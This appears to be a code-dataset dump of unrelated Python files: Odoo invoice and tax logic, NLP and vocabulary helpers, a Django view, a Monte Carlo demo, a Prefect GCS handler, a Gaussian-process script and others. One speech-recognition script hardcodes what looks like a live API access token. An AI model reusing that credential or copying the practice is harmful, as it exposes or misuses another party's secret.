    aol.di_nb_colis = ceil(aol.quantity)             \n                    if aol.di_type_palette_id.di_qte_cond_inf != 0.0:\n                        aol.di_nb_palette = aol.di_nb_colis / aol.di_type_palette_id.di_qte_cond_inf\n                    else:\n                        aol.di_nb_palette = aol.di_nb_colis\n                    aol.di_poin = aol.quantity * aol.product_id.weight             \n                            \n                elif aol.di_un_saisie == \"COLIS\":\n                    aol.di_nb_colis = ceil(aol.di_qte_un_saisie)            \n                    aol.di_nb_pieces = ceil(aol.di_product_packaging_id.di_qte_cond_inf * aol.di_nb_colis)\n                    if aol.di_type_palette_id.di_qte_cond_inf != 0.0:                \n                        aol.di_nb_palette = aol.di_nb_colis / aol.di_type_palette_id.di_qte_cond_inf\n                    else:\n                        aol.di_nb_palette = aol.di_nb_colis\n                    aol.di_poin = aol.quantity * aol.product_id.weight             \n                                           \n                elif aol.di_un_saisie == \"PALETTE\":            \n                    aol.di_nb_palette = aol.di_qte_un_saisie\n                    if aol.di_type_palette_id.di_qte_cond_inf != 0.0:\n                        aol.di_nb_colis = ceil(aol.di_nb_palette / aol.di_type_palette_id.di_qte_cond_inf)\n                    else:\n                        aol.di_nb_colis = ceil(aol.di_nb_palette)\n                    aol.di_nb_pieces = ceil(aol.di_product_packaging_id.di_qte_cond_inf * aol.di_nb_colis)            \n                    aol.di_poin = aol.quantity * aol.product_id.weight             \n                      \n                elif aol.di_un_saisie == \"KG\":\n                    aol.di_poin = aol.di_qte_un_saisie                        \n                    if aol.di_product_packaging_id.qty != 0.0:\n                        aol.di_nb_colis = ceil(aol.quantity / aol.di_product_packaging_id.qty)\n                    else:\n                        aol.di_nb_colis = ceil(aol.quantity)\n                    if aol.di_type_palette_id.di_qte_cond_inf != 0.0:    \n                        aol.di_nb_palette = aol.di_nb_colis / aol.di_type_palette_id.di_qte_cond_inf\n                    else:  \n                        aol.di_nb_palette = aol.di_nb_colis\n                    aol.di_nb_pieces = ceil(aol.di_product_packaging_id.di_qte_cond_inf * aol.di_nb_colis)\n                      \n                else:\n                    aol.di_poin = aol.di_qte_un_saisie            \n                    aol.quantity = aol.di_poin\n                    if aol.di_product_packaging_id.qty != 0.0:\n                        aol.di_nb_colis = ceil(aol.quantity / aol.di_product_packaging_id.qty)\n                    else:\n                        aol.di_nb_colis = ceil(aol.quantity)\n                    if aol.di_type_palette_id.di_qte_cond_inf != 0.0:    \n                        aol.di_nb_palette = aol.di_nb_colis / aol.di_type_palette_id.di_qte_cond_inf\n                    else:  \n                        aol.di_nb_palette = aol.di_nb_colis\n                    aol.di_nb_pieces = ceil(aol.di_product_packaging_id.di_qte_cond_inf * aol.di_nb_colis) \n            else:           \n                if aol.product_id.di_get_type_piece().qty != 0.0:\n                    aol.di_nb_pieces = ceil(aol.quantity/aol.product_id.di_get_type_piece().qty)\n                else:\n                    aol.di_nb_pieces = ceil(aol.quantity)                                \n                if aol.di_product_packaging_id.qty != 0.0 :\n                    aol.di_nb_colis = ceil(aol.quantity / aol.di_product_packaging_id.qty)\n                else:      \n                    aol.di_nb_colis = ceil(aol.quantity)             \n                if aol.di_type_palette_id.di_qte_cond_inf != 0.0:\n                    aol.di_nb_palette = aol.di_nb_colis / aol.di_type_palette_id.di_qte_cond_inf\n                else:\n                    aol.di_nb_palette = aol.di_nb_colis\n                aol.di_poin = aol.quantity * aol.product_id.weight \n                aol.di_poib = aol.di_poin + aol.di_tare\n               \n    @api.model\n    def create(self, vals):               \n        di_avec_sale_line_ids = False  # initialisation d'une variable       \n        di_ctx = dict(self._context or {})  # chargement du contexte\n        for key in vals.items():  # vals est un dictionnaire qui contient les champs modifiés, on va lire les différents enregistrements                      \n            if key[0] == \"sale_line_ids\":  # si on a modifié sale_line_id\n                di_avec_sale_line_ids = True\n        if di_avec_sale_line_ids == True:\n            qte_a_fac = 0.0\n            poib = 0.0\n            for id_ligne in vals[\"sale_line_ids\"][0][2]:\n                Disaleorderline = self.env['sale.order.line'].search([('id', '=', id_ligne)], limit=1)                                 \n                if Disaleorderline.id != False:               \n                    #on attribue par défaut les valeurs de la ligne de commande   \n                    vals[\"di_tare\"] = Disaleorderline.di_tare  \n                    vals[\"di_un_saisie\"] = Disaleorderline.di_un_saisie\n                    vals[\"di_type_palette_id\"] = Disaleorderline.di_type_palette_id.id\n                    vals[\"di_product_packaging_id\"] = Disaleorderline.product_packaging.id \n                    vals[\"di_un_prix\"] = Disaleorderline.di_un_prix\n                    vals[\"di_flg_modif_uom\"]=Disaleorderline.di_flg_modif_uom\n                    qte_a_fac += Disaleorderline.di_qte_a_facturer_un_saisie   \n                    poib += Disaleorderline.di_poib\n                     \n            vals[\"di_qte_un_saisie\"] = qte_a_fac\n            vals[\"di_poib\"] = poib            \n            \n        di_avec_purchase_line_ids = False  # initialisation d'une variable       \n        di_ctx = dict(self._context or {})  # chargement du contexte\n        for key in vals.items():  # vals est un dictionnaire qui contient les champs modifiés, on va lire les différents enregistrements                      \n            if key[0] == \"purchase_line_ids\":  # si on a modifié sale_line_id\n                di_avec_purchase_line_ids = True\n        if di_avec_purchase_line_ids == True:\n            qte_a_fac = 0.0\n            poib = 0.0\n            for id_ligne in vals[\"purchase_line_ids\"][0][2]:\n                Dipurchaseorderline = self.env['purchase.order.line'].search([('id', '=', id_ligne)], limit=1)                                 \n                if Dipurchaseorderline.id != False:               \n                    #on attribue par défaut les valeurs de la ligne de commande   \n                    vals[\"di_tare\"] = Dipurchaseorderline.di_tare  \n                    vals[\"di_un_saisie\"] = Dipurchaseorderline.di_un_saisie\n                    vals[\"di_type_palette_id\"] = Dipurchaseorderline.di_type_palette_id.id\n                    vals[\"di_product_packaging_id\"] = Dipurchaseorderline.product_packaging.id \n                    vals[\"di_un_prix\"] = Dipurchaseorderline.di_un_prix\n                    qte_a_fac += Dipurchaseorderline.di_qte_un_saisie   \n                    poib += Dipurchaseorderline.di_poib\n                     \n            vals[\"di_qte_un_saisie\"] = qte_a_fac\n            vals[\"di_poib\"] = poib\n  \n        res = super(AccountInvoiceLine, self).create(vals)                           \n        return res\n\n\n\nclass AccountTax(models.Model):\n    _inherit = 'account.tax'\n        \n    di_taxe_id = fields.Many2one('account.tax', string='Taxe sur la taxe',help=\"\"\"Permet par exemple d'affecter de la TVA sur l'interfel \"\"\")\n    \n    @api.multi\n    def compute_all(self, price_unit, currency=None, quantity=1.0, product=None, partner=None):\n        # copie standard\n        \"\"\" Returns all information required to apply taxes (in self + their children in case of a tax goup).\n            We consider the sequence of the parent for group of taxes.\n                Eg. considering letters as taxes and alphabetic order as sequence :\n                [G, B([A, D, F]), E, C] will be computed as [A, D, F, C, E, G]\n\n        RETURN: {\n            'total_excluded': 0.0,    # Total without taxes\n            'total_included': 0.0,    # Total with taxes\n            'taxes': [{               # One dict for each tax in self and their children\n                'id': int,\n                'name': str,\n                'amount': float,\n                'sequence': int,\n                'account_id': int,\n                'refund_account_id': int,\n                'analytic': boolean,\n            }]\n        } \"\"\"\n        if len(self) == 0:\n            company_id = self.env.user.company_id\n        else:\n            company_id = self[0].company_id\n        if not currency:\n            currency = company_id.currency_id\n        taxes = []\n        # By default, for each tax, tax amount will first be computed\n        # and rounded at the 'Account' decimal precision for each\n        # PO/SO/invoice line and then these rounded amounts will be\n        # summed, leading to the total amount for that tax. But, if the\n        # company has tax_calculation_rounding_method = round_globally,\n        # we still follow the same method, but we use a much larger\n        # precision when we round the tax amount for each line (we use\n        # the 'Account' decimal precision + 5), and that way it's like\n        # rounding after the sum of the tax amounts of each line\n        prec = currency.decimal_places\n\n        # In some cases, it is necessary to force/prevent the rounding of the tax and the total\n        # amounts. For example, in SO/PO line, we don't want to round the price unit at the\n        # precision of the currency.\n        # The context key 'round' allows to force the standard behavior.\n        round_tax = False if company_id.tax_calculation_rounding_method == 'round_globally' else True\n        round_total = True\n        if 'round' in self.env.context:\n            round_tax = bool(self.env.context['round'])\n            round_total = bool(self.env.context['round'])\n\n        if not round_tax:\n            prec += 5\n\n        base_values = self.env.context.get('base_values')\n        if not base_values:\n            total_excluded = total_included = base = round(price_unit * quantity, prec)\n        else:\n            total_excluded, total_included, base = base_values\n\n        # Sorting key is mandatory in this case. When no key is provided, sorted() will perform a\n        # search. However, the search method is overridden in account.tax in order to add a domain\n        # depending on the context. This domain might filter out some taxes from self, e.g. in the\n        # case of group taxes.\n        \n        for tax in self.sorted(key=lambda r: r.sequence):\n            price_include = self._context.get('force_price_include', tax.price_include)\n            if tax.amount_type == 'group':\n                children = tax.children_tax_ids.with_context(base_values=(total_excluded, total_included, base))\n                ret = children.compute_all(price_unit, currency, quantity, product, partner)\n                total_excluded = ret['total_excluded']\n                base = ret['base'] if tax.include_base_amount else base\n                total_included = ret['total_included']\n                tax_amount = total_included - total_excluded\n                taxes += ret['taxes']\n                continue\n\n            tax_amount = tax._compute_amount(base, price_unit, quantity, product, partner)\n            if not round_tax:\n                tax_amount = round(tax_amount, prec)\n            else:\n                tax_amount = currency.round(tax_amount)\n\n            if price_include:\n                total_excluded -= tax_amount\n                base -= tax_amount\n            else:\n                total_included += tax_amount\n\n            # Keep base amount used for the current tax\n            tax_base = base\n\n            if tax.include_base_amount:\n                base += tax_amount\n\n            taxes.append({\n                'id': tax.id,\n                'name': tax.with_context(**{'lang': partner.lang} if partner else {}).name,\n                'amount': tax_amount,\n                'base': tax_base,\n                'sequence': tax.sequence,\n                'account_id': tax.account_id.id,\n                'refund_account_id': tax.refund_account_id.id,\n                'analytic': tax.analytic,\n                'price_include': tax.price_include, \n                'tax_exigibility': tax.tax_exigibility,               \n            })\n             \n            # spé pour affecter une taxe sur une autre taxe\n            if tax.di_taxe_id:\n                di_tax_amount = tax.di_taxe_id._compute_amount(tax_amount, tax_amount, 1.0, product, partner)\n                if not round_tax:\n                    di_tax_amount = round(di_tax_amount, prec)\n                else:\n                    di_tax_amount = currency.round(di_tax_amount)                \n                taxes.append({\n                    'id': tax.di_taxe_id.id,\n                    'name': tax.di_taxe_id.with_context(**{'lang': partner.lang} if partner else {}).name,\n                    'amount': di_tax_amount,\n                    'base': tax_amount,\n                    'sequence': tax.di_taxe_id.sequence,\n                    'account_id': tax.di_taxe_id.account_id.id,\n                    'refund_account_id': tax.di_taxe_id.refund_account_id.id,\n                    'analytic': tax.di_taxe_id.analytic,\n                    'price_include': tax.di_taxe_id.price_include, \n                    'tax_exigibility': tax.di_taxe_id.tax_exigibility,                   \n                })\n                \n                #fin spé\n                \n\n        return {\n            'taxes': sorted(taxes, key=lambda k: k['sequence']),\n            'total_excluded': currency.round(total_excluded) if round_total else total_excluded,\n            'total_included': currency.round(total_included) if round_total else total_included,\n            'base': base,\n        }","sub_path":"addons_gesprim/difodoo_ventes/models/di_inherited_account_invoice.py","file_name":"di_inherited_account_invoice.py","file_ext":"py","file_size_in_byte":35398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"213141907","text":"\"\"\"\nconstruct dictionary\n\"\"\"\nfrom nltk import word_tokenize\nfrom collections import Counter\nimport pickle\n\n\ndef readWikiVocab(fn=\"vocab.txt\"):\n    with open(fn, 'r') as input_file:\n        cnt = Counter()\n        for line in input_file:\n            word, freq = line.strip().split()\n            cnt[word] += int(freq)\n    return cnt\n\n\ndef pythonTokenizeText(fn, output_fn):\n    with open(fn, 'r') as input_file:\n        tok_lines = []\n        for line in input_file:\n            tok_seq = word_tokenize(line.strip().lower().decode('utf8'))\n            tok_line = ' '.join(tok_seq)\n            tok_lines.append(tok_line)\n\n    with open(output_fn, 'w') as output_file:\n        tok_text = '\\n'.join(tok_lines)\n        print(tok_text.encode(\"utf8\"), file=output_file)\n    print('done processing train text...')\n\n\ndef dumpDict(fn='tok_train.txt'):\n    \"\"\"\n    dict: words in lower case\n    \"\"\"\n    # word from wikipedia\n    cnt = readWikiVocab()\n\n    # word from perspective data\n    with open(fn, 'r') as input_file:\n        text = input_file.read()\n        text_seq = text.split()\n        for word in text_seq:\n            cnt[word] += 1\n\n    # dump dictionary\n    with open('dict.pickle', 'wb') as handle:\n        pickle.dump(cnt, handle)\n    print('done dumping the vocabulary...')\n\n\ndef loadDict(fn='vocab.txt', freq_threshold=6):\n    with open(fn, 'r') as handle:\n        cnt = dict(list(map(lambda x: (x.split()[0], int(x.split()[1])), handle.readlines())))\n        rare_words = [word for word in cnt if cnt[word] < freq_threshold]\n    for word in rare_words:\n        cnt.pop(word)\n    print('done loading dictionary...')\n    return cnt\n\n\ndef sanityCheck(cnt_dump='dict.pickle', test_fn='tok_test.txt'):\n    cnt = loadDict(cnt_dump)\n\n    with open(test_fn, 'r') as input_file:\n        text = input_file.read()\n        text_seq = text.split()\n\n    with open('missing_words.txt', 'w') as output_file:\n        for word in text_seq:\n            if word not in cnt:\n                print(word, file=input_file)\n    print('done sanity check...')\n","sub_path":"context_based_selection/corpus_util.py","file_name":"corpus_util.py","file_ext":"py","file_size_in_byte":2042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"126378868","text":"# Create your views here.\nfrom django.shortcuts import render\n\nfrom merch.models import Merch\n\n\ndef product_detail(request, merch_slug):\n    merch = Merch.objects.get(slug=merch_slug)\n    context = {\n        'merch': merch,\n    }\n    return render(request, 'merch/merch_detail.html', context)\n","sub_path":"merch/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"330003477","text":"def run_formula(dv, param = None):\n    defult_param = {'t1':1,'t2':1,'t3':5}\n    if not param:\n        param = defult_param\n        \n\n\n    alpha1 = dv.add_formula('alpha1', \n                         \"-If(net_profit>Delay(net_profit,%s),Delay(turnover_ratio,%s),Ts_Max(turnover_ratio,%s))\"%(param['t1'],param['t2'],param['t3'])\n                        , is_quarterly=False, add_data=True)\n\n\n    return alpha1\n","sub_path":"factor2/alpha1.py","file_name":"alpha1.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"610724674","text":"from math import pi, fabs\nfrom random import random\n\nclass Circle:\n\n    POINTS = 10\n\n    def __init__(self, radius):\n        self.radius = radius\n        self.area = radius*radius * pi\n\n    def monte_carlo(self, iteration):\n        num_area = 0\n\n        for _ in range(Circle.POINTS**iteration):\n            if (self.radius*random())**2 + (self.radius*random())**2 < self.radius**2:\n                num_area += self.radius**2\n\n        # divide by Circle.POINTS to get the probability and multiply by 4 because we only integrate one quadrant\n        num_area = num_area/(Circle.POINTS**iteration)*4\n        error = fabs(self.area-num_area)/num_area\n\n        print(\"Points: 10^\" + str(iteration) + \" \" + str(self.area) + \" - \" + str(num_area) + \" - Error: \" + str(error*100))\n\n\nif __name__==  \"__main__\":\n    circle = Circle(4)\n\n    iteration = 1\n    while True:\n        circle.monte_carlo(iteration)\n        iteration += 1\n\n","sub_path":"circle.py","file_name":"circle.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"52381090","text":"from ScopeFoundry import LQCollection, BaseApp\n\nclass LQConnectionTestApp(BaseApp):\n    \n    name = 'LQConnectionTestApp'\n\n    def __init__(self,argv):\n        BaseApp.__init__(self,argv)\n        \n        lq1 = self.settings.New('lq1', dtype=float,ro=False, initial=5)\n        lq2 = self.settings.New('lq2', dtype=float,ro=False, initial=35)\n\n        lq1.connect_to_lq(lq2)\n        \n        self.ui = self.settings.New_UI()\n        \n        self.ui.show()\n        self.console_widget.show()\n        \n        \nif __name__ == '__main__':\n    app = LQConnectionTestApp([])\n    app.exec_()","sub_path":"tests/lq_connection_test.py","file_name":"lq_connection_test.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"70635462","text":"#!/usr/bin/env python\n\nimport speech_recognition as sr\nfrom termcolor import colored as color\nimport apiai\nimport json\nfrom os import system\nimport wikipedia as wiki\nfrom time import sleep\nimport webbrowser as wb\n\n\nBOLD = \"\\033[1m\"   #use to bold the text\nEND = \"\\033[0m\"    #use to close the bold text\nCLIENT_ACCESS_TOKEN = \"2245d4ab7c99466e806c8986a18234c4\"\nai = apiai.ApiAI(CLIENT_ACCESS_TOKEN)\n\ngoogle_search = \"https://www.google.com/search?q=\"\nyoutube_search = \"https://www.youtube.com/results?search_query=\"\ngoogle_drive = \"https://drive.google.com\"\ngmail = \"https://mail.google.com\"\ntry:\n    r = sr.Recognizer()\n    with sr.Microphone() as source:\n        system(\"clear\")\n        print(color(BOLD+\"Hola!\\nAsk me anything.\"+END,\"green\"))\n        while True:\n            audio = r.listen(source)\n\n#       while True:     \n            try:\n                query = r.recognize_google(audio)\n                print(query)\n            except sr.UnknownValueError:\n                print (color(\"Listening\",\"blue\"))\n\n\n   \n\nexcept KeyboardInterrupt:\n    print (color(BOLD+\" Bye!\"+END, \"cyan\"))\n","sub_path":"stt.py","file_name":"stt.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"531250395","text":"# coding = utf-8\nimport socket\n\ns = socket.socket()  # 创建 socket 对象\nhost = socket.gethostname()  # 获取本地主机名\nport = 12345  # 设置端口\ns.bind((host, port))  # 绑定端口\ns.listen(5)  # 等待客户端连接\nwhile True:\n\tc, addr = s.accept()  # 建立客户端连接。\n\tprint('连接地址：', addr)\n\tc.send(bytes(\"连接成功\", \"utf-8\"))\n\tc.close()  # 关闭连接\n","sub_path":"day01_01/服务端.py","file_name":"服务端.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"527175420","text":"import base64\nimport uuid\nfrom typing import TYPE_CHECKING, Any\n\nimport cloudpickle\nimport pendulum\n\nfrom prefect.client import Secret\nfrom prefect.engine.result_handlers import ResultHandler\n\nif TYPE_CHECKING:\n    import google.cloud\n\n\nclass GCSResultHandler(ResultHandler):\n    \"\"\"\n    Result Handler for writing to and reading from a Google Cloud Bucket.\n\n    To authenticate with Google Cloud, you need to ensure that your flow's runtime environment\n    has the proper credentials available (see\n    https://cloud.google.com/docs/authentication/production for all the authentication\n    options).\n\n    You can also optionally provide the name of a Prefect Secret containing your\n    service account key.\n\n    Args:\n        - bucket (str): the name of the bucket to write to / read from\n        - credentials_secret (str, optional): the name of the Prefect Secret\n            which stores a JSON representation of your Google Cloud credentials.\n    \"\"\"\n\n    def __init__(self, bucket: str = None, credentials_secret: str = None) -> None:\n        self.bucket = bucket\n        self.credentials_secret = credentials_secret\n        super().__init__()\n\n    def initialize_client(self) -> None:\n        \"\"\"\n        Initializes GCS connections.\n        \"\"\"\n        from prefect.utilities.gcp import get_storage_client\n\n        if self.credentials_secret:\n            credentials = Secret(self.credentials_secret).get()\n        else:\n            credentials = None\n        client = get_storage_client(credentials=credentials)\n        self.gcs_bucket = client.bucket(self.bucket)\n\n    @property\n    def gcs_bucket(self) -> \"google.cloud.storage.bucket.Bucket\":\n        if not hasattr(self, \"_gcs_bucket\"):\n            self.initialize_client()\n        return self._gcs_bucket\n\n    @gcs_bucket.setter\n    def gcs_bucket(self, val: Any) -> None:\n        self._gcs_bucket = val\n\n    def __getstate__(self) -> dict:\n        state = self.__dict__.copy()\n        if \"_gcs_bucket\" in state:\n            del state[\"_gcs_bucket\"]\n        return state\n\n    def __setstate__(self, state: dict) -> None:\n        self.__dict__.update(state)\n\n    def write(self, result: Any) -> str:\n        \"\"\"\n        Given a result, writes the result to a location in GCS\n        and returns the resulting URI.\n\n        Args:\n            - result (Any): the written result\n\n        Returns:\n            - str: the GCS URI\n        \"\"\"\n        date = pendulum.now(\"utc\").format(\"Y/M/D\")  # type: ignore\n        uri = \"{date}/{uuid}.prefect_result\".format(date=date, uuid=uuid.uuid4())\n        self.logger.debug(\"Starting to upload result to {}...\".format(uri))\n        binary_data = base64.b64encode(cloudpickle.dumps(result)).decode()\n        self.gcs_bucket.blob(uri).upload_from_string(binary_data)\n        self.logger.debug(\"Finished uploading result to {}.\".format(uri))\n        return uri\n\n    def read(self, uri: str) -> Any:\n        \"\"\"\n        Given a uri, reads a result from GCS, reads it and returns it\n\n        Args:\n            - uri (str): the GCS URI\n\n        Returns:\n            - Any: the read result\n        \"\"\"\n        try:\n            self.logger.debug(\"Starting to download result from {}...\".format(uri))\n            result = self.gcs_bucket.blob(uri).download_as_string()\n            try:\n                return_val = cloudpickle.loads(base64.b64decode(result))\n            except EOFError:\n                return_val = None\n            self.logger.debug(\"Finished downloading result from {}.\".format(uri))\n        except Exception as exc:\n            self.logger.exception(\n                \"Unexpected error while reading from result handler: {}\".format(\n                    repr(exc)\n                )\n            )\n            return_val = None\n        return return_val\n","sub_path":"src/prefect/engine/result_handlers/gcs_result_handler.py","file_name":"gcs_result_handler.py","file_ext":"py","file_size_in_byte":3763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"345908351","text":"import pandas as pd\nimport warnings\nwarnings.simplefilter(action='ignore', category=FutureWarning)\n\ndef clean_opcodes(filename):\n\n\tdf = pd.read_csv(filename)\n\tcleaned_df = df.dropna()\n\topcodes = cleaned_df.set_index('Opcode').T.to_dict('list')\n\n\t# import ipdb\n\t# ipdb.set_trace()\n\n\treturn opcodes","sub_path":"loops_s3/util/clean_opcodes.py","file_name":"clean_opcodes.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"193369995","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib\nfrom mpl_toolkits.mplot3d import Axes3D\nmatplotlib.use('TkAgg')\n\nclass GP:\n    def __init__(self,kernelPar,varMeas):\n        self.kernelPar = kernelPar\n        self.varMeas = varMeas\n        self.emptyData = True\n\n    def kernel(self,z1,z2):\n        squaredDistance = np.linalg.norm(z1-z2,2)\n        return np.exp(-.5 * 1/self.kernelPar * squaredDistance)\n\n    def getKernelMatrix(self,vec1,vec2):\n        n = vec1.shape[0]\n        N = vec2.shape[0]\n        K = np.zeros((n,N))\n        for i in range(n):\n            for j in range(N):\n                 K[i,j] = self.kernel(vec1[i,:],vec2[j,:])\n        return K\n        # todo: only update K matrix instead of recalculating\n\n    def update(self,inputData,outputData):\n        if self.emptyData:\n            self.trainInput = inputData\n            self.trainOutput = outputData\n            self.emptyData = False\n        else:\n            self.trainInput = np.vstack((self.trainInput,inputData))\n            self.trainOutput = np.vstack((self.trainOutput,outputData))\n\n    def predict(self,input):\n        # mu = K(test,training).T*inv(K(training,training))*trainingOutput\n        K = self.getKernelMatrix(self.trainInput,self.trainInput)\n        L = np.linalg.cholesky(K + self.varMeas*np.eye(self.trainInput.shape[0]))\n\n        # Compute mean\n        Lk = np.linalg.solve(L,self.getKernelMatrix(self.trainInput,input))\n        mu = np.dot(Lk.T, np.linalg.solve(L,self.trainOutput))\n\n        # Compute variance\n        KStar = self.getKernelMatrix(input,input)\n        var = KStar - np.dot(Lk.T,Lk)\n\n        return mu, var\n\n# Parameter\nkernelPar = 1\nvarMeas = 0.001\nkappa = 100\nGP = GP(kernelPar,varMeas)\n\n# Ground Truth\n#f = lambda x,y: x**2 + 0.9*y**2\nf = lambda x,y: (np.sin(x) + np.sin(y))*np.exp(-0.1*np.abs(x+y))\nxGT0, xGT1 = np.meshgrid(np.linspace(-5,5,100),np.linspace(-5,5,100))\nfGT = f(xGT0,xGT1)\n#print(\"fGT:\",fGT)\n\nxTrain = np.random.uniform(-5,5,(1,2))\nxTrainHist = np.zeros((1000,2))\nfTrainHist = np.zeros((1000,1))\n\nfig = plt.figure()\nplt.ion()\nplt.show()\nfor i in range(100):\n    print(i)\n    # next measurement:\n    fTrain = f(xTrain[:,0],xTrain[:,1]) + varMeas*np.random.randn()\n    fTrain = fTrain.reshape(-1,1)\n    GP.update(xTrain,fTrain)\n\n    nSample = 100\n    xSample = np.random.uniform(-5,5,(nSample,2))\n    mu,var = GP.predict(xSample)\n    xTrainHist[i,:] = xTrain\n    fTrainHist[i] = fTrain\n\n    # acquisition function\n    H = mu.reshape(nSample,1) + kappa*np.sqrt(var.diagonal()).reshape(nSample,1)\n    index = np.argmax(H)\n    xTrain = xSample[index,:].reshape(1,2)\n\n    if i%10 == 0:\n        ax = fig.add_subplot(111,projection='3d')\n        ax.plot_wireframe(xGT0, xGT1, fGT)\n        ax.plot(xTrainHist[:,0],xTrainHist[:,1],fTrainHist[:,0],\"g.\")\n        ax.plot(xSample[:,0],xSample[:,1],mu[:,0],\"r.\")\n        plt.title(\"True field\")\n        print(\"difference:\",np.mean(mu-f(xSample[:,0],xSample[:,1])))\n        fig.canvas.draw()\n\nplt.show(block=True)\n\n\n","sub_path":"gaussianProcess.py","file_name":"gaussianProcess.py","file_ext":"py","file_size_in_byte":3005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"597322301","text":"# Задача:\n# По данным n отрезкам необходимо найти множество точек минимального размера,\n# для которого каждый из отрезков содержит хотя бы одну из точек.\n#\n# В первой строке дано число 1≤n≤100 отрезков.\n# Каждая из последующих n строк содержит по два числа 0≤l≤r≤109, задающих начало и конец отрезка.\n# Выведите оптимальное число m точек и сами m точек.\n# Если таких множеств точек несколько, выведите любое из них.\n# Sample Input 1:\n#\n# 3\n# 1 3\n# 2 5\n# 3 6\n# Sample Output 1:\n#\n# 1\n# 3\n# Sample Input 2:\n#\n# 4\n# 4 7\n# 1 3\n# 2 5\n# 5 6\n# Sample Output 2:\n#\n# 2\n# 3 6\n\n\notr = []\n# Вводим количество отрезков\nn = int(input())\n# Заполняем otr отдельнами отрезками [[3,4],[5,6]]\nfor i in range(n):\n    otr.append([int(i) for i in input().split()])\n\n\n# Сортировка списка от наименьшего правого конца до наибольшего правого\notr = sorted(otr, key=lambda item: item[1])\n\n# Сразу добавляем правый конец первого отрезка для сравнения следующего\nall_dots = [otr[0][1]]\n\nfor i in range(n-1):\n    # Если начало следующего отрезка больше чем текущее значение, то добавляем новое значение\n    # Следующее значение соответственно будет сравниваться с новым по последнему элементу[-1]\n    if all_dots[-1] < otr[i+1][0]:\n        all_dots.append(otr[i+1][1])\n\n# Выводим длину отрезка и все элементы\nl = len(all_dots)\nprint(l)\n\nfor i in range(l):\n    print(all_dots[i], end=' ')","sub_path":"Greedy_algorithms/greed_1.py","file_name":"greed_1.py","file_ext":"py","file_size_in_byte":2030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"512915622","text":"#!/usr/bin/env python3\n\nimport logging\nimport sys\nlogging.debug(str(sys.version_info))\nif sys.version_info[0] < 3 or sys.version_info[1] < 5:\n    raise Exception(\"Requires python 3.5+, try module load python/3.6-anaconda-4.4\")\n\n# could conceivably access files over ssh/scp this way too..\n\nimport re\nimport os\n_protocols = ['http', 'https', 'file']\n_pattern = '|'.join(( '(?P<{0}>{0}:)'.format(p) for p in _protocols ))\n_re_url = re.compile('(?:{})(?P.*)'.format(_pattern))\ndef factory(url):\n    m = _re_url.search(url)\n    if m is None:\n        cls = LocalTextFile\n        path = url\n    elif m.group('file'):\n        cls = LocalTextFile\n        path = m.group('path')\n    else:\n        cls = RemoteTextFile\n        path = url\n    return cls(path)\n\n# common interface for local and remote files:\n\nclass TextFile:\n    \"\"\" common interface for accessing local and remote files \"\"\"\n    _blksz = 4096 # somewhat-arbitrary chunksize as unit for reading\n\n    @property\n    def nblocks(self):\n        return (self.size+self._blksz-1) // self._blksz\n\n\nclass LocalTextFile(TextFile):\n\n    def __init__(self, path):\n        self.path = path\n        self._size = None\n        self._lastlines_cache = {} # block: partial-line\n\n    @property\n    def size(self):\n        if self._size is None:\n             self._size = os.path.getsize(self.path)\n        return self._size\n\n    #def readlines(self, firstblock=0, n=0):\n    def readlines(self, start=0, n=0):\n        \"\"\" generator yiedling n lines starting from the first definitely-\n            complete line after start. If start!=0, readlines assumes\n            it has landed partway into a line and discards until the next line \n            break. If there is less than a full line, yields no lines\n            If n<=0. read to the end of the file\n        \"\"\"\n        #logging.info(\"reading {0:d} lines from {1:d}\".format(n,start))\n        with open(self.path, 'r') as f:\n            #f.seek(firstblock*self._blksz)\n            f.seek(start) \n            line = f.readline()\n            #logging.info(\"read a line: {0}\".format(line))\n            count=0\n            if start == 0:\n                count += 1\n                #logging.info(\"yielding: {0}\".format(line))\n                yield line\n            while count < n or n <= 0:\n                line = f.readline()\n                if line == '':\n                    break\n                count += 1\n                #logging.info(\"yielding: {0}\".format(line))\n                yield line\n\n\nclass RemoteTextFile(TextFile):\n\n    def __init__(self, url):\n        self.url = url\n        self._size = None\n        # TODO: implement this:\n        self._lastlines_cache = {} # block: partial-line\n\n    @property\n    def size(self):\n        if self._size is None:\n            with urllib.request.urlopen(self.url) as f:\n                self._size = int(f.info()[\"Content-Length\"])\n        return self._size\n\n    def readlines(self, start=0, n=0):\n        if start==0 and n<=0:\n            # read whole file:\n            with urllib.request.urlopen(self.url) as f:\n                for line in f.readlines():\n                    yield line\n        else:\n            line = ''\n            while count < n or n < 0:\n                # need to keep fetching blocks till we have enough lines\n                #bs = min(self._blksz, self.size)\n                #b = 'bytes={0:d}-'.format(firstblock*self._blksz)\n                b = 'bytes={0:d}-'.format(start)\n                if n>0: # not reading till end of file\n                    b+='{0:d}'.format(min(start+self._blksz,self.size))\n                    #b+='{0:d}'.format((firstblock+1)*self._blksz - 1)\n                req = urllib.request.Request(self.url, headers={'Range':b})\n                with urllib.request.urlopen(req) as f:\n                    line += f.readline() # in case previous range left 